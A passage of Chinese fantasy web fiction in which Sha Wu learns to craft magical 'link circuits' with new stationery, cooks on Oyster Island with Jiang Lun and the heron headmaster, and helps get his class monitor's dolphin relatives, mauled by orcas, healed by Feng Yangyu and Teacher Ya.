“没单独啊。这不是跟你们俩在一起？姜纶出差了。”沙伍在花样百出的文具中拔不出眼睛，“我还以为读书只要个手环就行。” 除了特殊的笔墨外，纸也有很多。 “勾链路的板子竟然有现成的？” 小丑鱼和虾同学同时看向他：“不是，你刚才用的板子还是自己做的？” “那不是。姜纶做的。他弄了很多蚝壳板，反正堆那里不用也要被扔掉，我就拿来用了。”得益于现在姜纶的飞行速度，他们去生蚝岛很方便，每次哪怕自己不吃，都会带回来一些生蚝，或者是其它贝类。 姜纶会拿来做异能基础练习。 日积月累的，仓库里就堆了很多。 作为链路的载体，板子的材料要求其实比较随意，对应等级的变异生物材料，具有一定的硬度，差不多都行。 唯一讲究是晶核和板子属性尽量不要冲突。 “扔掉？！”这下连虾同学也不淡定了。 三个人直接杀到沙伍宿舍的仓库。 梁管家不太明白：“这么晚了，还去杂物间干嘛？” 沙伍挠头：“拿点板子。” 梁管家一听就恍然大悟：“对哦，你们刚开始学习链路，用得上。我还想着哪里合适铺地板。风先生也不说，早知道就让他带去学校了。哦，对了，还有很多修剪下来的树枝什么的，你们要不要？” “要！” 一个小镇规模的宿舍，每个月产生的变异植物材料是一个非常可怕的数量。 更别提姜纶还有面积广袤的农场。 他们不是不知道这些材料值钱，只是材料太杂了，哪怕用机器人处理也非常耗时。 再说只是低级材料，卖也卖不了多少钱。 放在仓库里的这些，还是因为沙伍需要用一些，晚上夜宵烧烤需要用亿些。 阿大过来凑热闹，听他们要用木头，还以为他们要烧烤：“烧烤有现成的碳。我用果木烧的，你们看看够不够？不够我再烧一点。” 小丑鱼和虾同学同时震惊脸：“这是神马壕无人性的发言？！” “啊？”阿大不理解，“我、我不就是烧点碳？” “你们几个小子，大半夜的不睡觉吵吵什么呢？” 几个人被吓了一跳，转身看到是神色不善的风阳羽。 虾同学叹息：“风老师每次都神出鬼没的。” 沙伍给他看时间：“才晚上九点多，哪有半夜？” 风阳羽伸手一挥，就把他们全都送去大厅：“赶紧去睡。” 本来打算回宿舍的虾同学和小丑鱼顺势留了下来，然后第二天开着货车装了材料到学校。 材料堆了一广场。 青龙学院整个二三年级多了个没有学分的临时任务。 “分拣和预处理材料。完成的5%可以给你们。”风老师把活安排下去，把沙伍叫住，“小伍，你过来。” 沙伍总觉得没有好事。 风阳羽指了指自己面前的桌子。 沙伍想着他刚才走过来的时候还没有桌子，到底是怎么冒出来的，不会是幻觉吧？ 他先伸手摸了摸，确定是实体，才坐下去，周围环境一变，成了教室。 “哇，好厉害。”沙伍对变戏法的风阳羽鼓掌，“怎么做到的？” “简单的光学原理。”风阳羽的手指动了动，显然很想揍下去，但小白龙瞧着就瘦弱不堪，他怀疑自己一个暴栗下去，小白龙可能会死。 算了，沙伍不是姜纶。 “你昨天基础链路勾成功了，今天开始练链路嵌套。” “啊？”沙伍一脸震惊，祈求死缓，“等等等等。叔~”刚学会四则运算，就要学微积分了？ “上课的时候叫老师。” “好的，风老师。”沙伍端正态度，从自己的书包里拿出全套昨天置办的勾链路文具。 风老师认真看了看，很快搞明白了用途：“这个笔能帮助控制和节约异能啊，这个墨水也是差不多的效果。用这个东西，倒是能方便很多。” “风老师是第一次见？” 第84章 他乡遇故知 “对啊。我学习链路那时候，哪有这种东西？说起来，我学链路的时候，链路才敢刚开始发展没多久。”风阳羽不客气地把沙伍的书包拿到自己手里，“没收。这个给我玩玩，你不许用笔。画个基础链路还用这种作弊器，废物点心。” 他拿出沙伍雕的木头龙，随手画了个链路，往上面嵌了好几枚晶核：“这个用来做小玩意儿还挺方便的。” 话落，链路激发，一条巨大的青龙在空中盘旋。 全校瞬间震动。 所有师生把手头的事情全都放下，一个个冲出教学楼，仰望威严又慈爱的青龙。 “青龙！” “青龙爸爸！” “是青龙妈妈！” “哦，青龙妈妈！” 青龙在青龙城的地位是无可比拟的，是许多人内心的精神图腾。 惹出巨大骚动的大乌鸦被夜师傅打了。 校园广播很快发出声明：“刚才的青龙来自异能物品，是幻相，不是真的。” “什么异能物品这么牛逼？” “瞧着跟真的一样。” “异能物品‘召唤’出的青龙，我们又不是没见过。” “对啊，这个太活了。” “可能青龙妈妈有什么不方便的地方？” 学校里什么猜测的都有。 沙伍倒是清楚，青龙的效果这么好，纯粹是因为大乌鸦的链路水平奇高，且对姚瑞云非常熟悉。 大乌鸦站在讲台上，张开翅膀整理自己的羽毛，把被夜鹭打断的羽毛梳理下来。 他掉一根羽毛，沙伍就捡一根。 大乌鸦看了看，也没说话，悄悄瞥了一眼扒拉着链路文具的夜鹭，又马上把脑袋正回来。 沙伍看着自己瞬间没了大半瓶的绿色墨水，内心满是幸灾乐祸。 该！ 这是一套里面的一种颜色，只能成套买，不单卖的。 价钱倒是其次，问题是一整套里单独缺了一样，就很难受。 晶核颜色少了倒是没事，他宿舍里还有很多。 出差回来的姜纶，一回来就见到这样的场面：“怎么了这是？”又开始习惯性DISS风阳羽，“冒牌乌鸦果然废物。” 沙伍小声说了一句公道话：“能够比院长强的九级，没几个吧？” 谁能同时镇守一个污染源，外加兼任两个学院的院长？ 不说华夏大区，就是放眼全球，有吗？ 他说没几个还是保守，感觉院长已经天下无敌。 姜纶小声回：“人类阵营里，比夜老师强的确实很少。要是算上全部变异生物，那还是有几个妥妥比夜老师强……啊！” 夜鹭落在姜纶头顶，叨叨两下：“我无敌！谁能比我强！” 姜纶动动嘴，没发出声音，拉着沙伍：“走，回家。” 夜鹭和风阳羽联手把姜纶揍了一顿。 “上课时间，你回什么家？” 沙伍得庆幸这会儿在教室里，周围没别人，不然明天的新闻题目不知道该是姜家小少爷什么什么。 姜纶本来想带着自家小鲨鱼回去小别胜新婚，结果被扣着听早就掌握了理论知识的链路课，然后就开始研究沙伍的链路小文具。 “咦？还有这个。怎么没人告诉我还有这些辅助文具？”姜纶很快就摸索出了这些文具的作用。 他的异能本来就又强又狂暴，加上年龄小精神力相对弱小，根本没法让自己的异能持续稳定输出。 风阳羽事不关己：“你的链路课又不是我教的。” 夜鹭正站在一只木雕夜鹭边上摆造型，对蠢学生的问题懒得回答。 姜纶拿过一块空白板子，用链路笔吸取墨水，然后开始在板子上书写。 嘭！ 笔炸了。 板子炸了。 风阳羽：“脑残不适合勾链路。移山填海才适合你，快滚！” 姜纶就不走了：“不，我上课。” 沙伍一节课下来，对于链路嵌套听得头脑发胀，但是勾链路只需要搞清楚步骤，依葫芦画瓢能勾出很漂亮的低级链路。 有对应的文具，这个步骤对沙伍来说反而非常简单。 沙伍在课堂上完成了一根龙头法杖，能够喷火球的那种。 “帅！” 姜纶不理解：“为什么是喷火？”他和妈妈都不是火系。 沙伍听到他的声音，回过头去一看：“你怎么坐那么远？”都跟他在教室的对角线了。 风阳羽带着点幸灾乐祸地说道：“他一节课把你的板子和笔都给弄报废了。” 沙伍对自己人向来很舍得花钱，一点都不在意损失的文具，微微皱着眉头：“没受伤吧？”走过去把姜纶的手翻来覆去检查。 姜纶任由他检查：“没有。中午我们出去吃饭？顺便再买些文具？” “好啊。” 教室里的风阳羽和夜鹭面面相觑：“他们俩就这么走了？” “走了。” 有学生敲门进来：“风老师，我们材料分拣完了，您来检查一下？” “好的。”风阳羽拢着双手，跟着学生出去。 夜鹭看了看，抓起夜鹭木雕，飞走了。 有了文具，沙伍开始拿着姜纶画的链路图，给生蚝岛和战队岛上的小家制作各种手工艺品。 12月，夜鹭带着他们一起去生蚝岛上的时候，都惊呆了：“你们连地暖都用上了？” 沙伍语气骄傲：“对。我还做了个调节湿度的。这边太干了。” 明明靠着大海，就是拔干。 夜鹭一听到干，直接就把沙伍抓起来往海里扔。 姜纶看得心头一跳：“夜老师！” “呱！” 夜鹭很快就带回来了好几条鳕鱼。 姜纶在收拾两个星期没来的房子，问：“小鲨鱼呢？” “在殴打帝王蟹。”夜鹭把鳕鱼放在外面。 鱼太大了，没法整条进厨房，得先进行分割。 姜纶心不在焉地把鳕鱼分割完，交给厨房机器，就去外面等着。 没过一会儿，沙伍就骑着一只体型巨大的帝王蟹上岸。 那帝王蟹的半条腿都能有一个沙伍高。 姜纶大概能猜到沙伍看上的帝王蟹个头不会小，但没想到会这么大，赶紧上前，看他用水系异能托着帝王蟹和自己前进：“还玩？” “嘿嘿。”沙伍从帝王蟹上跳下来，改用泡泡把帝王蟹装起来，跟拿着气球一样带着，“上次见海豹老哥这么走路，早就想试试了，感觉很实用。” 姜纶很快就接手了搬运和烹饪帝王蟹的任务。 食材充足又新鲜，调味料齐全，还有厨房机器帮忙，一顿丰盛的午餐很快就摆上了桌。 只有三个人吃饭，大桌子上却摆得满满当当。 “小鲨鱼怎么每次都能遇到这种体型格外大的变异动物？幸亏这个变异螃蟹只是体型大，等级只有四级。”姜纶把一条蟹腿切成的蟹排放在沙伍盘子里，“我简单蒸了一下，试试看，要是味道淡的话，再蘸点醋。” 夜鹭已经一口炫掉一整条蟹腿肉。 沙伍看着巴掌大的夜师傅，仰头吞下接近两米长的蟹肉棒，伸出手指往夜师傅的肚子上一戳，然后被夜师傅低头一叨：“嗷呜~痛痛痛！” 夜鹭的红眼珠子盯着他。 “院长，我错了！” 夜鹭松开嘴巴：“再敢造次，把你……” 沙伍接话：“把我手指剁掉？” 夜鹭张口又吞下一条完整的蟹腿肉：“不，把你整个吞了。正好我还没吃过龙肉呢。” “噫——”沙伍立刻坐回到姜纶身边。 姜纶往他嘴里喂了一勺鳕鱼：“专心吃饭。” “啊——” 夜鹭的头毛动了动。 切，他才不羡慕吃饭有人喂呢。 然后吃完饭，夜鹭就吃下了沙伍求和的草莓：“这个草莓个头真小。” “这个风味好。”暖棚空间有限，每一种果蔬都是姜纶精挑细选过的。 “嗯，这个草莓真的好吃。”沙伍给予肯定，“这个沙妈妈能吃吗？” “能吃一点。等回去的时候摘一些给沙妈妈送去。” “好~” 夜鹭突然感觉草莓不甜了，还有一股狗粮味：“有没有多的？我拿一些送去极光城。” 姜纶给夜鹭准备了一些新鲜果蔬：“一坛米酒，一坛白酒，暂时就这么多。”另外往上面摆了一束散发着暖光的向日葵。 “不学好，小小年纪喝酒。”夜鹭这么说，但没拒绝，带着许多东西走了。 沙伍倒是第一次知道：“你还会酿酒啊？” “嗯。跟爸学的。”姜纶指了指暖棚，“我不是种了点高粱什么的。上次走之前酿了一些，不过后续都是家政机器人在弄，不知道品质怎么样。晚上要不要试试？” 沙伍很好奇：“试！我还没喝过酒。” “没喝过？”姜纶惊讶。 “没啊。18岁以前不是禁止饮酒？18岁以后我的伙食被祁叔接管了，他顶多给我一口冰淇淋，剩下全是宝宝餐。”其实是营养餐，但口味清淡易消化，比宝宝餐还宝宝餐。 姜纶仔细想想也是：“那你不是有跟沙妈妈啊花杨蓉啊，一起出去吃饭，也没喝酒吗？” “没啊。我们家好像都喝普通饮料来着。跟花杨蓉他们出去，要么奶茶要么冰淇淋。” 姜纶突然感觉自己已经是个肮脏的大人，而小鲨鱼还是个单纯的小朋友，难得愧疚一秒钟。 沙伍压根不知道他的想法，抓着姜纶继续布置房子。 下午三点多的时候，夜鹭就回来了，抓着一只巨大的猎物：“回礼。” 姜纶看了一眼，难得来了兴趣：“驼鹿啊。晚上我们炖肉吃。” 虽然待在海岛上，但是天天吃海鲜，还是有点腻味。 夜鹭和夜鹭（伪）一起站在吧台上，看姜纶做饭。 假夜鹭的爪子在光滑的蚝壳板上打滑，给自己变了个小白龙布偶抓着垫脚。 真夜鹭看了看，又看了看，伸出一只爪子试着站上去，花了三秒钟体验脚感，再接着把另外一只爪子一起站上去。 姜纶把切下来的胡萝卜芯递给沙伍：“别学夜老师，你学不会他的气质。” 他说着，就给自家变成夜鹭都可可爱爱的小鲨鱼拍了十几张照片，又看了一眼怎么看怎么猥琐的真夜鹭。 真夜鹭正在研究脚下软乎乎脚感非常不错的布偶：“咦？你还能变这个。” 假夜鹭看了看他，又变出一个夜鹭布偶，叼起来放到他面前。 真夜鹭的眼睛都亮了，叼着布偶就往自己房间飞。 假夜鹭看了看，一步两步挪到姜纶面前：“我怀疑……” “怀疑什么？” 怀疑院长是个小孩子……不不不，未成年夜师傅的羽毛不是蓝背大蟑螂。 再说，院长已经两百多岁了。 “院长真的有两百多岁吧？” “嗯。说是大灾变前出生的，好像比大姐岁数小一点点。” 夜鹭扒着岛台上的吊灯倒挂：“好奇我年纪？” “啊！”沙伍被突然出现的夜鹭吓了一跳，一个扑腾就往姜纶后背挂，拍了好几下翅膀，才站到肩膀上，“院长，你人形什么样子的？” 夜鹭想也不想就回答：“是个帅哥。” 沙伍干脆变成小白龙，尾巴尖微微一弯：“具体怎么个帅法？比风叔叔帅吗？” “那当然！你风叔叔的长相是花里胡哨。乌鸦嘛，五彩斑斓的黑，你懂的。不像我这种，就属于硬帅。面部折叠度啊，轮廓啊，三庭五眼啊，都是教科书级别的帅。” 小白龙歪头：“我不信。你变给我看看。” “切~我是院长，你是院长？还由得你信不信的……去把‘院长是最帅的’这句话抄写一百遍，用异能写板子上，不许用笔。板子自己做！” 小白龙震惊：“认真的？” “当然。不做削你。”夜鹭飞到小白龙头顶，看他从柴火堆里抽了一块木头，用丁点大的刻刀唰唰唰，竟然很快就划拉了一块……“让你做板子，不是让你给树枝削皮。” “能用不就行了！”沙伍把夜鹭从头顶拿下来，放到栖杆上。 夜鹭没注意到书桌上也有一根栖杆，站上去把栖杆上的几个小鸟木雕踹下去，看着沙伍规规矩矩勾链路而不是罚抄装作没看到，低头对栖杆上绑着的红褐色材料产生了兴趣。 看着看着，他低头啄了一口，咔嚓酥脆。 房子除了两间卧室之外，客餐厅和书房都没有独立封闭，全都在一个空间里。 姜纶听到声音，走过来一看：“夜老师，你喜欢吃草？” 夜鹭脖子上的毛炸开，白色饰羽竖起来：“不能吃吗？” “竟然有六根？！”他一直以为是两根。 沙伍一个分神，手上的链路报废，发出一声轻轻的“呲”，只能丢进边上的桶里，等一会儿拿去给壁炉添柴。 “能吃是能吃，没想到你会喜欢吃海草。我用鱼肉做了一些零食。”姜纶说着，就往外面走，“我再去摘一些红皮藻。” 他人出去了，厨房机器还在运作。 鱼肉很容易熟。 没一会儿，烤鱼的香气就飘散出来。 姜纶回来的时候，就见夜鹭站在小白龙的头顶，一起蹲在厨房机器前面，隔着玻璃观察里面。 “这个新配方我还没试过，不知道好不好吃。”看两位食客的样子，似乎可以期待一下？“我弄了一些红皮藻和海白菜。” 九级对食物的依赖度已经很低了，沙伍一个一级的饭量也不大。 但是出于对生活品质的追求，姜纶对厨房设备已经更新了三代，现在里面的设备非常齐全，完全不是家庭小厨房的配置，能够分分钟筹备宴席的那种。 冬日的生蚝岛日照时间很短，外面已经一片漆黑。 小小的屋子像是永夜中的灯塔。 沙伍嘴里正嚼着酥脆的红皮藻，突然感觉头顶一轻：“嗯？院长？” 海洋中传来鲸类悠长的鸣叫。 姜纶扯了扯嘴角，面无表情地往厨房机器里添加食材，拉着沙伍往猎人小屋走：“我们来客人了。真的是，这地方难道还不够偏？” 生蚝岛的猎人小屋并没有建造在岛屿的两端，和主屋隔了没几步路，现在被姜纶堆了各种杂物，几乎当个仓库用。 还好东西都是齐全的，收拾出来几间能住人的房间并不麻烦。 “沙伍！” 沙伍听到院长的大召唤术：“我先过去。” “唉……去叭。”姜纶只能认命自己一个人收拾。 早知道就先把猎人小屋收拾出来，省得外人踏进主屋。 外人并没有进入主屋。 五条海豚正在一个巨大的结界里，里面灌满的液体已经分不清是血水还是海水。 沙伍并没有闻到污染的气味，但根本就没做考虑，直接一个泡泡就套了上去。 他感觉自己的泡泡像是瞬间穿透了一层厚厚的墙壁，内里的污染的气味陌生中透着一股奇怪的熟悉。 海豚看着也很熟悉。 “班长……家的？”沙伍不是很确定地看着五条被血水浸泡，看不太清面目的海豚。 夜鹭院长熟知每名学生的情况，给予肯定答复：“是。” “他们伤得好重。”沙伍皱眉。 “还好。只要停止污染，他们的自愈能力很强。”夜鹭看着连着背鳍和尾巴都没了的一条海豚，“等伤势稳定后，得尽快带回医院。” 沙伍顺着院长的视线，也注意到那条几乎只剩下一半的海豚，用异能仔细感受：“他身上的污染在阻止伤口进一步恶化。如果净化的话，会……”他的净化异能还没那么强，能够取代一名高级异能者自身的污染，达到治疗的效果。 自己解决不了的事情，沙伍开始喊人：“姜纶！” 姜纶应声而至：“怎么了？”他一看情况就皱眉，“怎么不用治愈？我记得有晶核。” 夜鹭歪头：“……啊。上次不是被海豹都用完了？” “没啊。不就是被小鲨鱼咬了……”毕竟是在远离人烟的海岛，姜纶是认真做了急救准备的。 他很快从屋子里拿出一堆净化、治疗、生命和水系晶核，递给夜鹭，然后用异能把院子里的蚝壳砖连成一整块。 夜鹭只是瞥了一眼，就直接在蚝壳砖上勾画治疗链路。 让沙伍无比头疼的链路嵌套，在夜鹭的手中无比简单轻易。 大量的链路线条，像是从蚝壳砖上盛开的花朵。 给海豚补充异能的水系晶核，净化、治疗和生命明明是三种系别，却揉成一体，精准作用在海豚的伤口上。 新鲜的血肉开始生长。 庞大的异能从晶核里抽取。 沙伍看着原本光华璀璨的晶核，在短短五分钟内就黯淡发白，马上替换上新的晶核。 一共替换了六轮晶核，抽取的速度才减缓。 姜纶说道：“这边还要点时间，我们先吃饭吧。” 沙伍看着结界内变得澄清的海水，疑惑：“不用看着吗？” “放心，院长看着呢。” 晚餐很简单，大锅的炖驼鹿肉，搭配清脆的清炒蔬菜和口味清爽的番茄蛋汤。 沙伍没吃过驼鹿肉。 姜纶看他吃了一口，问：“怎么样？吃得惯吗？吃不惯我去给你煎两块鳕鱼排。” 沙伍抬手制止，把嘴里的食物咽下去后，说道：“吃得惯，很好吃。有点像牛肉，好像肉里面有点甜味，还很嫩。” 有些颠覆他对炖肉的认知。 姜纶见他喜欢就高兴。 夜鹭不语，只一味炫饭。 泛着油光的白米饭，盖上一大勺炖肉，一口一碗。 家政机器人差点都来不及给他服务。 姜纶有些遗憾，本来想晚上和小鲨鱼一起喝点小甜酒。 没想到夜鹭没待在极光城，还来了这么多海豚。 吃完晚饭，外面“海水缸”里的海豚们的情况已经明显好转，隔着泡泡跟沙伍挥翅尖。 沙伍很喜欢海豚，跟着挥翅尖。 姜纶看了看，让家政机器人把饭菜端出来：“事已至此，先吃饭吧。” 海豚们虽然还无法恢复人形，但是可以先吃饭。 他们的饭菜很简单，温温的海鲜粥，一人一锅。 姜纶有些感慨：“看样子下次要带点春寒365来种。” 现在种植的没编号的实验室品种水稻，更适合宝宝体质，温养效果显著，治疗效果远不如专门培育的治疗方向变异的春寒365。 海豚们的伤势比想象中要重，显然不是在猎人小屋住几天就能恢复的。 姜纶的猎人小屋白收拾了。 一行人被夜鹭连夜带回青龙学院。 班长红着眼睛飞快跑到医院，看到坐在病房外面的沙伍，哽咽地说不出话来。 沙伍莫名其妙，下意识回头看了一眼所在的位置确实是病房，不是太平间。 第85章 旧海豚翻新 太平间什么的，实在不适合在病人家属面前说出来。 沙伍抬手给了班长后背一下，都不敢和平时一样用力，怕把人给拍碎了：“哭屁啊，赶紧去把该办的手续办了，家里该通知的通知一下。” “哦。我先去缴费。”班长显然失去了思考能力，都忘记了该先去看看家人的伤情，等把前期治疗费用结清，再预存了一些钱，回到病房的时候是让引导机器人指路的，打开了自己父母的视频通话，“妈，叔叔阿姨们……哇——” 沙伍看不过眼，凑到光屏面前，把目前的情况简单说明：“五位叔叔阿姨的伤势稳定，没有生命危险，只是后续需要一段时间的治疗。根据一位叔叔说，他们是出海捕鱼，遇到了一群邪恶海茄子？把他们的船给扬了，最后在白令海峡附近被院长救起来的。” 听到伤势稳定，没有生命危险，班长父母明显松了一口气：“谢谢同学。麻烦你了。我们马上出发，预计两个小时后到。” 结束通讯，待在单独治疗舱内的海豚们刚醒，就对上哭得直抽抽的侄子，顿时大惊：“我……我要死了吗？” 海豚们当然没逝，但缺胳膊断腿的伤势显然不是马上就能治愈出院的。 得亏他们是高级异能者，救治又及时，才能肢体再生。 中低阶的异能者，像是沙妈妈那样的，一旦肢体残缺，几乎没有再生的可能性。 即便如此，他们的碎裂的骨骼和内脏，也不是短时间内能够恢复的。 沙伍回到宿舍，也算是搞明白了什么是邪恶海茄子：“虎鲸？” “对。”姜纶催他去洗漱，“上次海豹不是差点被虎鲸群咬死嘛。估计是同一群虎鲸。” 沙伍慢吞吞往浴室走：“可是虎鲸不也是海豚吗？它们对宽吻海豚没有一点宽容？” “没有。邪恶海茄子什么都玩。一群八级和九级的虎鲸，遇到只能躲，根本管不了。”姜纶看沙伍去洗澡，暗暗咬牙，好想和小鲨鱼一起洗澡啊。 只能给小鲨鱼拿衣服。 好郁闷。 酒也忘了带回来。 毕竟是自己遇到的伤员，还是班长的家人，沙伍第二天中午特意过去看了一眼。 全班都跟着一起去了。 他倒是没说什么，是班长自己状态不对，上着课就开始嗷嗷哭，在同学们的追问下，把家人受重伤的事情说了。 沙伍不太理解，等同学们都散了之后，才悄咪咪问小丑鱼：“高阶异能者的恢复能力不是很强吗？他们应该很快就能好吧？” 昨天刚得知消息的时候，班长受到冲击哭一哭也就算了，怎么过了一晚上还没缓过来？ 小丑鱼诧异地看着他：“怎么可能？这么重的伤，能捡回一条命就很好了。最严重的那位……” “班长的小叔。”虾同学补充。 “哦，对。小叔恢复起码得在治疗舱里躺上两三年，期间得有持续不断的生命系异能提供，单纯的治愈系异能还不行。生命系的晶核和异能者都很稀少。就算勉强恢复了身体，异能等级应该会持续掉落，能不能维持中阶都不好说，战斗力什么的，基本别想了。这种程度身体损伤造成的后果是很严重的。”小丑鱼神情凝重。 沙伍若有所思，问：“那要是一个人这一块被咬掉了。”他的手指在自己胸腔和腹腔比划了一圈，“理论上要多久才能恢复？” “那就死了，还恢复什么？”小丑鱼下意识说完，突然停下脚步，瞪大眼睛，“你认识这么个怪物？” “啊……算认识吧？”毛绒绒的海豹看起来很可爱，眼睛很大，五官很集中，“他还能拍肚皮。这样。” 他抬手在自己腰侧拍拍。 环斑海豹当时也是被院长救起来的，但是得到的治疗要粗糙得多。 现在海豹已经完全恢复健康，实力显然也没有受到影响。 小丑鱼和虾同学已经呆住了：“真的有这么个人？” “嗯，八级。”沙伍把他们拉到路边，别堵在医院门口，“所以我说，一样是八级，班长的小叔是不是很快就能恢复了？” “想什么呢？八级和八级的差距很大。”夜鹭飞到沙伍的头顶落下，“那只海豹敢自称九级以下第一人，不是乱说的。” “他真的是九级以下第一人？”沙伍只看到海豹很可爱。 “看你怎么理解这个‘第一人’了。无限接近九级的八级，战斗力还在线的，全世界起码有十几二十个。”夜鹭并不太在意八级的事情，问沙伍，“你下午的课什么时候结束？我们去钓帝王蟹吧？我自己一个人去，抓不到那么大的。” 小鲨鱼果真是最完美的鱼饵，还是巨物吸引体质。 沙伍顿时脸色一变：“我不！我要去找风叔和鸭老师！” 他一个一级，单挑四级变异帝王蟹很吃力的好嘛，更何况帝王蟹都成群结队。 夜鹭想到五条海豚：“你去跟他们说，说不定还真能说得动。” 沙伍不太理解：“他们不是在这儿吗？”平时有大把空闲时间，让他们过来帮忙看看能不能治疗一下重伤患者，应该不算是强人所难吧？ 被夜鹭的态度弄得心里面毛毛的，沙伍没有马上联系大乌鸦和鸭老师，而是下午下课回宿舍之后，找到姜纶先咨询了一下：“我想请风叔和鸭老师帮忙给班长的家人们治疗，是很不合理的要求吗？会让风叔和鸭老师为难吗？” 姜纶看着蹲坐在自己办公桌上的白猫，长毛异瞳，关注点跑偏：“你不是照着小粉的样子变的？” “不是。小粉的样子太卡通了。”毕竟小粉的形态是受到了动画片的启蒙，他照着变了一下，发现怪怪的，“我照着狮子猫变的。” 帅且能打，还是青龙城特产，完美符合他的人设。 他把仿佛修剪过的圆润的爪子放在姜纶手心里：“你先回答我的问题。” 姜纶捏了捏白猫软软的带着点凉的肉垫：“不算为难。只是请一位八级和九级出手治疗，正常途径的话，一般人联系不到。冒牌乌鸦和鸭老师还是其中比较特殊的两个人。” “特殊？”白猫从书桌上爬到姜纶腿上，然后站起来前爪搭在他的胸口，用脑袋去蹭他的脸。 姜纶有一瞬间想到那种布料很少的毛绒绒的衣服，灵魂都有瞬间出走。 “喵~” 姜纶：小鲨鱼说喵~ 脑海里的野马撒丫子狂奔，全在喵喵喵~ 他人没了。 沙伍已经习惯男朋友的这种突然死机，通常只需要咬一口，就能重启。 小少爷.exe一键重启，有些卡顿，但可以正常运行。 在重新听了一遍沙伍的疑问后，他撸着猫猫顺滑厚实的毛发，语速比平时更慢：“冒牌……风叔的出身问题，加上不怎么出现，虽然知道有这么一个人，但一般不把他计入正常的人类八级异能战士的战斗力里。太阳神鸟的属性比较特殊。八级的时候，打起来能干过大部分九级。相较之下，他其实更加擅长的作为生命系的异能，通常会被忽视。他现在是九级……” 鲨猫快速接话：“你更加打不过了。”小少爷被风叔扔过不是一次两次。 “啧。你是站哪边的？”姜纶不满，用了点力气揉揉猫肚皮，“鸭老师是治疗领域的泰斗。现在针对异能者治疗的很多知识都是鸭老师通过实践总结出来的。这样的两个人，一般人不会想着能请他们出手。” “那他们出手治疗别人，会对他们造成什么不好的影响吗？”带入想想姚瑞云就明白了，他现在叫妈妈的人，那是他以前想都不敢想的青龙城的创立者，教科书上的大人物。 “不会。反正他们闲着也是闲着。” 得到了想要的答案，白猫瞬间跳出窗外，变成乌鸦开始啊啊大叫。 大概是叫得太难听，很快就被暴躁的风阳羽给揍了。 沙伍变成夜鹭，缩着脖子站在风阳羽的肩膀上，小声叨逼叨：“叔，救救我同学的家人吧。他小叔叔超级可怜，发现的时候只剩下半条了。大家都是小叔叔，小叔叔要帮助小叔叔。” 风阳羽听得无比暴躁：“救人就救人。赶紧的，我都要准备休息了。” 三分钟后，沙伍带着风阳羽出现在医院病房里。 班长爸爸在陪护，看到沙伍进门，赶紧站起来，努力扯出笑脸：“沙同学来啦。还没来得及跟你道谢，真是多亏了你，我家人才能活下来，真不知道该怎么感谢你才好。” 事情发生得太突然，从昨天晚上到现在，各种事情一团乱。 除了亲人的伤痛需要后续治疗，家族里损失了这么多战斗力，相关的产业都需要紧急处理。 全家忙得焦头烂额，涉及到家族产业，消息还不能马上扩散，偏偏还不放心把五个伤员丢给机器人或者别人（特指完全没担当的儿子），夫妻俩亲自过来陪护。 从他们知道消息到现在还不足24小时，但是感觉已经过了很久，整个人都憔悴了。 “不用客气。叔叔阿姨们是院长救的，不是我。”他只起到了一点微乎其微的作用，真的算不上什么。 班长爸爸看向风阳羽：“这位先生是？”风阳羽无论是长相还是气场都是无法让人忽视的存在。 难道是院长？ 院长的人形原来是这么一位美男子？ 总觉得和想象中的夜鹭不太符合。 沙伍赶紧介绍：“这是我叔叔风阳羽……” 他还没说完，风阳羽就抬手用自己的异能笼罩住治疗舱内残破的海豚们：“啰嗦什么？早点治疗完，早点回去睡觉。臭小子越来越没时间观念。” 海豚破损的身体以肉眼可见的速度恢复，甚至一点点变得强韧。 受伤最重的海豚是肉眼可见的状态不好，其他看似完好一点的海豚们，内里的伤势一点不轻。 虎鲸喜欢用头顶和尾巴拍击来攻击，配合八级和九级的异能，海豚们的身体里已经变成了一滩肉泥。 要不是他们的异能等级足够高，根本没法吊着一口气让院长来救。 他们受伤到现在，除了最大的一条海豚外，剩余的连哀鸣都发不出。 治疗舱内的海豚感谢：“……谢谢……” “闭嘴，不要浪费能量。”风阳羽的治疗持续了十分钟。 由于数据的异常波动，仪器发出警报。 赶来查看的医生护士全都站在病房里当雕像，看着风阳羽简直像是在看神仙。 风阳羽治疗完，冷着一张脸，提溜着沙伍走了。 “叔，班长的叔叔阿姨们都好了？” “怎么可能？想让他们更快恢复，明天让你鸭老师和田……田书南不在，姜祁也凑合吧……让他们去看看。”风阳羽说着就变成大乌鸦，夜色逐渐笼罩，赶着睡觉的乌鸦越来越暴躁，“你小子刚才不会只是干看着吧？有没有看到我怎么治疗的？” “看到了。”他能感觉到自己意识被大乌鸦带着，体会到生命力浸润身体，让万物生长的感觉，很神奇。 “嗯，自己没事照着练习，下节课要考。” “啊？”不是，下节课是什么课？ 他没读医啊，虽然他考的是护理系……不是！他现在是水产养殖…… 一来一去的沙伍还没吃晚饭，饭还没吃完，班长的通讯就打了过来。 视频里，班长的眼睛红红的，情绪显然已经稳定了很多。 “沙伍，谢谢你。真的我不知道该说什么好。我……” 姜纶把光屏对准自己的脸，又对准餐桌：“黄烨，我们在吃饭。没什么着急的事情的话，等吃完饭之后再说？” 班长瞬间噤声：“哦，没事。我就是想表达一下感谢，没事了。你们吃饭吧，拜拜。” 沙伍把光屏关了，看着姜纶。 姜纶抬手戳他脸颊：“专心吃饭。” 沙伍哼哼两声，等吃完饭之后，跑去找祁大厨：“叔，你明天有没有空？能不能帮忙看看我同学的……” 祁大厨听他巴拉巴拉把海豚家的事情一说：“可以啊。出个帮助恢复的营养餐是吧？把数据给我，我直接给他们就行。” 沙伍惊讶：“不用去看看吗？” “不用。医院数据很详细，我去也不可能看出比仪器更加准确的数据。”祁大厨很随意。 鸭老师这会儿已经睡着。 沙伍是早上没去晨练，在潮汐湖抓到的鸭老师，把鸭鸭顶到医院。 鸭老师出现在医院里的时候，所有医护都震惊了。 “鸭老师？” “真的是鸭老师？” “不是相似的觉醒体？” “您好，您是鸭老师吗？” 鸭老师很温和，小脸天生带笑：“是的。” 一道温暖的光笼罩他们，瞬间驱散值班带来的疲惫，甚至舒缓了一些沉疴旧疾。 “真的是鸭老师啊！” 人们小声惊呼，两眼放光，但都没有离开自己的工作岗位。 沙伍要赶着早八，顶着鸭老师就去了住院部。 他不知道的是，全医院上下都知道他。 “他长得真的好可爱。” “完全看不出是觉醒体是大白鲨。” “那孩子的觉醒体也很可爱，一点看不出凶残。” “可惜一早就被姜家小少爷绑住了，不然都不敢想会多受欢迎。” “现在也很受欢迎。” “姜家小少爷会养人，沙伍比刚入学的时候好看多了。” “真的？你有他刚入学时候的照片？” 